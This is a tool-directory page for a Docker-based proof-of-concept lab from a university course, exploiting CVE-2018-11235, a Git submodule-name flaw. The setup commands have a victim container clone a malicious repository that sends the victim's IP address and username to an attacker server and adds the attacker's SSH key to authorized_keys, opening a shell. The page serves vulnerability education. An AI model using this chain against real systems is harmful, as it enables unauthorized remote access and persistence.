Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-11235 — Proof of Concept - RCE Exploitation : Git submodules' names vulnerability - Ensimag November 2018 | Kitploit
Tools/GitHubGitHub/ygouzerh/cve-2018-11235
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access ToolLabs & Practice
GitHubygouzerh/cve-2018-11235

CVE-2018-11235

Proof of Concept - RCE Exploitation : Git submodules' names vulnerability - Ensimag November 2018

View Repository
117 years agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-11235

Getting started

To build the Docker containers, use:

root@kitploit:~
make docker

(The following make commands must be run in parallel on different terminals from your machine)

To start the attacker server container, use:

root@kitploit:~
make run_server

to start the victim container, use:

root@kitploit:~
make run_client

The container will run the client.py script. The script will transmit its IP address and username to the attacker.

Follow the instructions in the client console to clone the malicious git repository.

root@kitploit:~
git clone --recurse-submodules root@server:home/poc/malicious_repo client_pwned

You will see that the victim's IP address and username are transmitted to the server.

After cloning, verify that the attacker's public key has been added to the client's authorized_keys.

Then you can open a shell on the client from the server using the following command (to be executed on your machine):

root@kitploit:~
make server_bash

ssh <transmitted_username>@<transmitted_host>

Questions

If you have any problems whatsoever executing this Proof of Concept, please create an issue on this repository: https://github.com/ygouzerh/CVE-2018-11235/issues , we will respond as quickly as possible.

Download Tool